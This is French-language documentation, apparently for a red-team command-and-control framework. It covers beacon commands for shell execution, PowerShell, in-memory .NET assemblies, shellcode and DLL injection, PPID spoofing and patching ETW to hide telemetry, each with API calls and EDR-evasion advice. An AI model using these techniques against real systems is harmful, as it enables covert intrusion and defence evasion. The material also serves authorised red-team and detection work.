Aller au contenu

Gestion des processus

Commandes pour l'interaction des processus : répertorier les processus en cours d'exécution, exécuter des commandes, générer de nouveaux processus, injecter dans des processus existants et tuer des processus sur l'hôte cible.

Les commandes de gestion de processus se répartissent en deux modèles d'exécution :

  • Exécution en ligne : s'exécute au sein du processus de beacon lui-même. Aucun processus enfant n'est créé, mais un crash affecte le beacon.
  • Fork-and-run - génère un processus enfant sacrificiel, y effectue le travail, capture la sortie via un canal nommé, puis met fin au processus enfant. Plus sûr pour le beacon mais crée des artefacts de processus.
flowchart LR
    A[Operator] -->|Shell Command| B[Backend]
    B -->|Task Queue| C[Beacon]
    C -->|Inline| D[Beacon Process<br/>Direct Execution]
    C -->|Fork & Run| E[Sacrificial Process<br/>Output via Pipe]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff

Référence des commandes

Commande Syntaxe Modèle d'exécution Description Impact de l'OPSEC
ps ps En ligne Liste des processus en cours d'exécution Faible
kill kill <pid> En ligne Tuer le processus par PID Faible
shell shell <command> Fourcher et courir Exécuter via cmd.exe /c Élevé
run run <program> [args] Fourcher et courir Exécuter sans cmd.exe, capturer la sortie Moyen
execute execute <program> [args] Fourcher et courir Exécuter sans cmd.exe, aucune sortie Moyen
powershell powershell <command> Fourcher et courir Exécuter via powershell.exe Élevé
powerpick powerpick <command> Fourcher et courir PowerShell non géré (pas de powershell.exe) Moyen
psinject psinject <pid> <arch> <command> Injection PowerShell dans un processus distant Élevé
execute-assembly execute-assembly <path> [args] Fourcher et courir Assemblage .NET en mémoire Moyen
execute-dll execute-dll <dll_data> [arch] Fourcher et courir DLL via sRDI en processus sacrificiel Moyen
inline-execute inline-execute <bof> [args] En ligne Fichier objet beacon (BOF) Faible
shspawn shspawn <arch> <shellcode> Fourcher et courir Shellcode en processus sacrificiel Moyen
shinject shinject <pid> <arch> <shellcode> Injection Shellcode dans le processus existant Élevé
dllinject dllinject <pid> <dll> Injection Injection de DLL réfléchissante Élevé
dllload dllload <pid> <dll> Injection DLL via LoadLibrary Élevé

Liste des processus

ps

Répertoriez les processus en cours d’exécution sur l’hôte cible. L'implant énumère les processus utilisant NtQuerySystemInformation ou CreateToolhelp32Snapshot -- aucun cmd.exe n'est généré. La sortie inclut le PID, le PPID, le nom du processus, l’architecture, l’utilisateur et l’ID de session.

Type de tâche : ps (méthode : list)

Point de terminaison dédié : POST /api/v1/cockpit/beacons/:id/processes

ps
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/processes" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ps"}'

Exemple de résultat :

PID   PPID  Name                    Arch  User              Session
---   ----  ----                    ----  ----              -------
0     0     [System Process]        x64                     0
4     0     System                  x64   NT AUTHORITY\SYS  0
672   4     smss.exe                x64   NT AUTHORITY\SYS  0
788   672   csrss.exe               x64   NT AUTHORITY\SYS  0
1284  788   svchost.exe             x64   NT AUTHORITY\SYS  0
3456  1284  explorer.exe            x64   CORP\jsmith       2
5678  3456  chrome.exe              x64   CORP\jsmith       2

OPSEC

L’énumération des processus utilise les API Windows natives sans générer de processus enfants. Il s’agit de l’une des commandes de reconnaissance à impact le plus faible disponible. Cependant, la liste fréquente des processus peut être corrélée par l'analyse comportementale.


Fin du processus

tuer

Terminez un processus par PID en utilisant TerminateProcess.

Type de tâche : kill (méthode : kill)

Point de terminaison dédié : POST /api/v1/cockpit/beacons/:id/processes/kill

kill 5678
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/processes/kill" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"pid": 5678}'
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kill 5678"}'

OPSEC

La fin des processus peut déclencher des alertes EDR, en particulier pour les processus protégés ou surveillés. Les événements de fin de processus sont enregistrés par les fournisseurs Sysmon (ID d'événement 5) et ETW.


Exécution des commandes

Trois variantes d'exécution de commandes sont disponibles, chacune avec des compromis différents entre OPSEC et fonctionnalités.

Type de tâche : exec (la méthode varie : shell, run, execute)

Exécutez une commande via cmd.exe /c. Capture la sortie et la renvoie à l'opérateur. Il s'agit de la méthode d'exécution la plus compatible, mais elle a l'impact OPSEC le plus élevé en raison de la création du processus cmd.exe.

shell whoami /all
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shell whoami /all"}'

OPSEC

  • Génère cmd.exe en tant que processus enfant du beacon
  • Détectable via Sysmon Event ID 1 (création de processus) avec la ligne de commande cmd.exe /c
  • Les produits EDR surveillent étroitement les relations parent-enfant cmd.exe
  • Lorsque l'usurpation d'identité PPID est activée, cmd.exe apparaît sous le parent usurpé.
  • MITRE ATT&CK : T1059.003 (Interpréteur de commandes et de script : Windows Command Shell)

Exécutez un programme directement sans cmd.exe. Capture la sortie et la renvoie à l'opérateur. Impact OPSEC inférieur à shell car aucun interpréteur de commandes n'est impliqué.

run whoami.exe /all
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "run whoami.exe /all"}'

La commande run distribue une tâche exec avec la méthode run, qui appelle CreateProcess directement pour le programme spécifié, capture stdout et stderr et renvoie la sortie combinée.

OPSEC

  • Pas d'intermédiaire cmd.exe -- le programme cible s'exécute directement en tant qu'enfant du beacon
  • Crée toujours un processus enfant (visible dans l'arborescence des processus)
  • Héritage de jeton : s'exécute sous le jeton actuellement emprunté s'il est actif
  • MITRE ATT&CK : T1106 (API native)

Exécutez un programme en arrière-plan sans capturer la sortie. Le programme démarre et le beacon revient immédiatement. Utilisez-le pour les opérations de longue durée ou lorsque la sortie n’est pas nécessaire.

execute notepad.exe
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute notepad.exe"}'

Retours : Started notepad.exe (PID 4321)

OPSEC

  • Pas d'intermédiaire cmd.exe, pas de tuyau de sortie
  • Crée un processus enfant détaché
  • Le processus continue de s'exécuter après le retour du beacon
  • Héritage de jeton : s'exécute sous le jeton actuellement emprunté s'il est actif
  • MITRE ATT&CK : T1106 (API native)

Héritage de jetons

Les trois commandes d'exécution (shell, run, execute) héritent du jeton d'emprunt d'identité actuel du beacon. Si vous avez utilisé steal_token ou make_token pour usurper l'identité d'un autre utilisateur, les processus enfants s'exécutent sous cette identité. Celui-ci utilise CreateProcessAsUser en interne via le SysProcAttr.Token de Go.

Usurpation PPID

Lorsque l'usurpation d'identité PPID est activée (via config ppid_target <process>), la commande shell génère cmd.exe avec un faux processus parent. L'enfant apparaît dans les outils de l'arborescence des processus sous le parent usurpé (par exemple, explorer.exe) au lieu du processus beacon.

Limites de l'usurpation d'identité PPID

  • L'usurpation d'identité PPID utilise PROC_THREAD_ATTRIBUTE_PARENT_PROCESS via CreateProcess
  • La capture de sortie n'est pas disponible avec l'usurpation d'identité PPID (la commande s'exécute dans une arborescence de processus distincte)
  • Détectable via les événements ETW Microsoft-Windows-Kernel-ProcessEventHeader.ProcessId révèle le vrai parent
  • L'héritage de jetons et l'usurpation d'identité PPID s'excluent mutuellement : l'usurpation d'identité PPID est prioritaire.

Exécution PowerShell

Exécutez une commande via powershell.exe. Le beacon génère powershell.exe en tant que processus enfant, transmet la commande et capture la sortie.

powershell Get-Process | Select-Object -First 10
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "powershell Get-Process | Select-Object -First 10"}'

OPSEC

  • Génère powershell.exe en tant que processus enfant - fortement surveillé par EDR
  • Soumis à l'analyse AMSI (Anti-Malware Scan Interface)
  • La journalisation ScriptBlock enregistre la commande complète (ID d'événement 4104)
  • La journalisation des modules enregistre les modules importés (ID d’événement 4103)
  • La journalisation des transcriptions PowerShell peut capturer toutes les E/S dans un fichier de transcription
  • MITRE ATT&CK : T1059.001 (Interpréteur de commandes et de script : PowerShell)

Exécutez PowerShell sans générer powershell.exe. Utilise PowerShell non géré via l'hébergement CLR dans le cadre d'un processus sacrificiel. Le .NET CLR est chargé dans le processus sacrificiel et la commande PowerShell est exécutée via l'espace de noms System.Management.Automation.

powerpick Get-Process | Select-Object -First 10
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "powerpick Get-Process | Select-Object -First 10"}'

Avantage OPSEC

powerpick évite de générer powershell.exe, qui est le principal signal de détection des attaques basées sur PowerShell. Cependant, l'hébergement du CLR dans un processus non PowerShell peut lui-même être suspect : les produits EDR surveillent les charges CLR (clr.dll, clrjit.dll) dans les processus inattendus. L'intégration AMSI dans .NET 4.8+ peut toujours s'appliquer.

Injectez une commande PowerShell dans un processus distant. Le beacon injecte un payload d'hébergement CLR dans le processus cible, qui exécute ensuite la commande PowerShell.

psinject 3456 x64 Get-Process
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "psinject 3456 x64 Get-Process"}'
Paramètre Description
pid PID du processus cible
arch Architecture de processus cible (x86 ou x64)
command Commande PowerShell à exécuter

OPSEC

  • Combine l'injection de processus avec l'hébergement CLR - deux opérations à haute visibilité
  • Le processus cible charge les DLL CLR (signal de détection)
  • AMSI peut s'appliquer dans le contexte du CLR injecté
  • L’injection inter-processus déclenche l’ID d’événement Sysmon 8 (CreateRemoteThread)
  • MITRE ATT&CK : T1055 (injection de processus) + T1059.001 (PowerShell)

Exécution de l'assemblage .NET

exécuter-assemblage

Exécutez un assembly .NET en mémoire via l’hébergement CLR dans un processus sacrificiel. Le binaire de l'assembly est lu à partir de la machine de l'opérateur, converti en shellcode via Donut sur le relais et exécuté via fork-and-run. La sortie est capturée via un canal nommé.

Type de tâche : execute_assembly (envoyé via Relay for Donut conversion)

execute-assembly /path/to/Seatbelt.exe -group=all
execute-assembly PATCHES: ntdll.dll,EtwEventWrite,0,c3 /path/to/Rubeus.exe kerberoast
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute-assembly /path/to/Seatbelt.exe -group=all"}'

Comment ça marche :

  1. Le backend lit le fichier d'assemblage .NET et l'encode en base64
  2. Le relais convertit l'assembly en shellcode à l'aide de Donut (DONUT_MODULE_NET_EXE)
  3. Le beacon engendre un processus sacrificiel (en utilisant la configuration spawnto)
  4. Le shellcode est injecté dans le processus sacrificiel
  5. CLR charge et exécute l'assembly
  6. La sortie est capturée via un canal nommé et renvoyée à l'opérateur
  7. Le processus sacrificiel se termine

Préfixe PATCHES : Spécifiez éventuellement les correctifs en mémoire à appliquer avant l'exécution. Format : PATCHES: dll,function,offset,hex_bytes. Utilisation courante : patch EtwEventWrite à ret (c3) pour supprimer la télémétrie ETW de l'assembly.

OPSEC

  • DLL CLR chargées dans le processus sacrificiel : clr.dll, clrjit.dll, mscorlib.ni.dll
  • Le chargement du CLR dans les processus non-.NET est un signal de détection puissant pour l'EDR
  • Aucun fichier n'est déposé sur le disque : l'assembly s'exécute entièrement en mémoire
  • La création de processus sacrificiels génère l'ID d'événement Sysmon 1
  • L'investigation de la mémoire peut récupérer les artefacts de l'assembly .NET
  • MITRE ATT&CK : T1059.001 (PowerShell/CLR) + T1055 (injection de processus)

exécuter-dll

Exécutez la fonction exportée d'une DLL en mémoire via sRDI (Shellcode Reflective DLL Injection) et fork-and-run. La DLL est convertie en shellcode indépendant de la position et exécutée dans un processus sacrificiel avec E/S bidirectionnelles.

Type de tâche : postex (méthode : execute)

execute-dll <base64_dll_data> [x64]
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute-dll '$DLL_B64' x64"}'

OPSEC

  • La DLL est convertie en shellcode via sRDI -- aucun fichier sur le disque
  • S'exécute dans un processus sacrificiel via fork-and-run
  • Sortie capturée via un canal nommé (E/S bidirectionnelles)
  • Détection : artefacts DLL dans la mémoire du processus, création de processus sacrificiels

Exécution du BOF

exécution en ligne

Exécutez un fichier objet beacon (BOF) en ligne dans le processus de beacon. Les BOF sont des fichiers objets COFF indépendants de la position qui s'exécutent directement dans l'espace mémoire du beacon sans créer de processus sacrificiel.

Type de tâche : bof_execute

inline-execute /path/to/whoami.o
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "inline-execute /path/to/whoami.o"}'

Comment ça marche :

  1. Le backend lit le fichier BOF et l'encode en base64
  2. L'exécuteur BOF du beacon résout les importations du BOF par rapport à l'API Beacon.
  3. La fonction go du BOF s'exécute dans le propre thread du beacon
  4. La sortie est renvoyée via l'API de sortie BOF (BeaconPrintf, BeaconOutput)

BOF vs fork-and-run

Les BOF s'exécutent en ligne dans le processus de beacon, ce qui signifie qu'aucun processus enfant n'est créé. Il s'agit de la méthode d'exécution la plus conviviale pour OPSEC pour les tâches post-exploitation. Cependant, un BOF qui plante fera planter le beacon entière. Testez minutieusement les BOF dans un laboratoire avant leur utilisation en production.

OPSEC

  • Aucune création de processus enfant - empreinte OPSEC la plus faible de toutes les méthodes d'exécution
  • S'exécute dans l'espace d'adressage du beacon (risque de crash du beacon)
  • Pas de chargement CLR, pas de moteurs de script, pas de suppression de fichiers
  • Mémoire uniquement : le code BOF est chargé, exécuté et libéré
  • MITRE ATT&CK : T1106 (API native)

Fork-and-Run / Injection de processus

Ces commandes exécutent du shellcode ou des DLL soit dans un nouveau processus sacrificiel (fork-and-run), soit dans un processus cible existant (injection).

shspawn

Exécutez le shellcode brut dans un processus sacrificiel via fork-and-run. Le beacon génère un nouveau processus (en utilisant la configuration spawnto), injecte le shellcode et l'exécute.

Type de tâche : shspawn

shspawn x64 /path/to/shellcode.bin
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shspawn x64 /path/to/shellcode.bin"}'
Paramètre Description
arch Architecture du shellcode : x86 ou x64
shellcode_file Chemin d'accès au binaire shellcode brut sur la machine de l'opérateur

La commande shspawn appelle le hook PROCESS_INJECT_SPAWN CNA, permettant aux scripts agresseurs de personnaliser la technique d'injection et la sélection du processus sacrificiel.

OPSEC

  • Crée un processus sacrificiel (configurable via spawnto)
  • Injection de processus dans le processus sacrificiel (Sysmon Event ID 8/10)
  • Choisissez un binaire spawnto qui se fond dans l'environnement cible
  • MITRE ATT&CK : T1055 (Injection de procédé)

shinject

Injectez du shellcode dans un processus existant. Contrairement à shspawn, cela cible un processus déjà en cours, évitant ainsi la création d'un nouveau processus sacrificiel.

Type de tâche : interop (méthode : shinject)

shinject 3456 x64 /path/to/shellcode.bin
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shinject 3456 x64 /path/to/shellcode.bin"}'
Paramètre Description
pid PID du processus cible
arch Architecture du processus cible : x86 ou x64
shellcode_file Chemin d'accès au binaire shellcode brut sur la machine de l'opérateur

La commande shinject appelle le hook PROCESS_INJECT_EXPLICIT CNA pour la personnalisation de la technique.

OPSEC

  • Injection cross-processus dans un processus existant
  • Allocation de mémoire dans le processus cible (VirtualAllocEx)
  • Création de thread dans le processus cible (CreateRemoteThread ou équivalent)
  • Détectable via l'ID d'événement Sysmon 8 (CreateRemoteThread), l'ID d'événement 10 (ProcessAccess)
  • Choisissez un processus cible qui alloue normalement de la mémoire exécutable (par exemple, un navigateur)
  • MITRE ATT&CK : T1055.001 (injection de bibliothèque de liens dynamiques) ou T1055.003 (piratage d'exécution de thread)

dllinjecter

Injection de DLL réfléchissante dans un processus cible. La DLL est chargée dans la mémoire du processus cible sans appeler LoadLibrary, évitant ainsi la chaîne d'événements de chargement de DLL standard.

Type de tâche : interop (méthode : dllinject)

dllinject 3456 /path/to/payload.dll
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dllinject 3456 /path/to/payload.dll"}'
Paramètre Description
pid PID du processus cible
dll_file Chemin d'accès à la DLL sur la machine de l'opérateur

OPSEC

  • Le chargement réfléchissant évite la chaîne d'événements standard LdrLoadDll / LoadLibrary
  • Mémoire allouée en tant que MEM_PRIVATE (et non MEM_IMAGE) -- détectable par les scanners de mémoire
  • Aucun ID d'événement Sysmon 7 (chargement de DLL) car LoadLibrary n'est pas appelé
  • Les écritures de mémoire inter-processus et la création de threads sont toujours visibles
  • MITRE ATT&CK : T1055.001 (injection de bibliothèque de liens dynamiques)

téléchargement de dll

Chargez une DLL dans un processus cible via LoadLibrary. Contrairement à dllinject, celui-ci utilise le mécanisme de chargement de DLL Windows standard, qui déclenche des événements de chargement de DLL.

Type de tâche : interop (méthode : dllload)

dllload 3456 C:\Users\Public\payload.dll
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dllload 3456 C:\\Users\\Public\\payload.dll"}'
Paramètre Description
pid PID du processus cible
dll_path Chemin d'accès à la DLL sur le système de fichiers cible

OPSEC

  • Utilise LoadLibrary -- déclenche l'ID d'événement Sysmon 7 (chargement de DLL)
  • La DLL doit exister sur le système de fichiers de la cible (et non sur la machine de l'opérateur)
  • Le fichier DLL est soumis à une analyse statique AV/EDR sur le disque
  • Support MEM_IMAGE – semble légitime dans les analyses de mémoire
  • Plus simple que l'injection réfléchissante mais plus détectable sur le disque
  • MITRE ATT&CK : T1055.001 (injection de bibliothèque de liens dynamiques)

Référence du type de tâche

Commande Type de tâche Module Méthode
ps ps ps list
kill kill tuer kill
shell exec exécutif shell (par défaut)
run exec exécutif run
execute exec exécutif execute
powershell exec exécutif shell (via powershell.exe)
powerpick exec exécutif (CLR non géré)
psinject interop interopérabilité psinject
execute-assembly execute_assembly Relais + shspawn Conversion de beignets + fourchette et course
execute-dll postex poste execute (sRDI)
inline-execute bof_execute bof BOF en ligne
shspawn shspawn shspawn Fourcher et courir
shinject interop interopérabilité shinject
dllinject interop interopérabilité dllinject
dllload interop interopérabilité dllload

Comparaison des modèles d'exécution

Modèle Processus enfant Impact de l'accident Capture de sortie Niveau OPSEC
En ligne (BOF) Aucun Crash de beacon Oui (API BOF) Meilleur
Fork-and-run (shspawn, exécuter-assembly) Sacrificiel Crash d'un enfant uniquement Oui (canal nommé) Bien
Exécuter/Exécuter (exécuter, exécuter) Enfant direct Crash d'un enfant uniquement Oui/Non Moyen
Shell (shell, PowerShell) cmd.exe/powershell.exe Crash d'un enfant uniquement Oui Le pire
Injection (shinject, dllinject) Aucun (existant) Crash cible Limité Risque élevé

Choisir la bonne méthode d'exécution

  1. BOF en premier -- si un BOF existe pour la tâche, utilisez inline-execute. Aucune création de processus, empreinte la plus faible.
  2. exécuter l'assemblage en second -- pour les outils .NET (Seatbelt, Rubeus, SharpHound), utilisez execute-assembly. Fork-and-run protège le beacon.
  3. exécuter pour les outils natifs -- utilisez run au lieu de shell pour éviter cmd.exe. Utilisez uniquement shell lorsque vous avez besoin de fonctionnalités shell (canaux, redirections, variables d'environnement).
  4. powerpick plutôt que powershell - préférez toujours powerpick pour éviter de générer powershell.exe.
  5. Dernière injection -- shinject et dllinject sont puissants mais risquent de faire planter le processus cible. Utiliser avec précaution.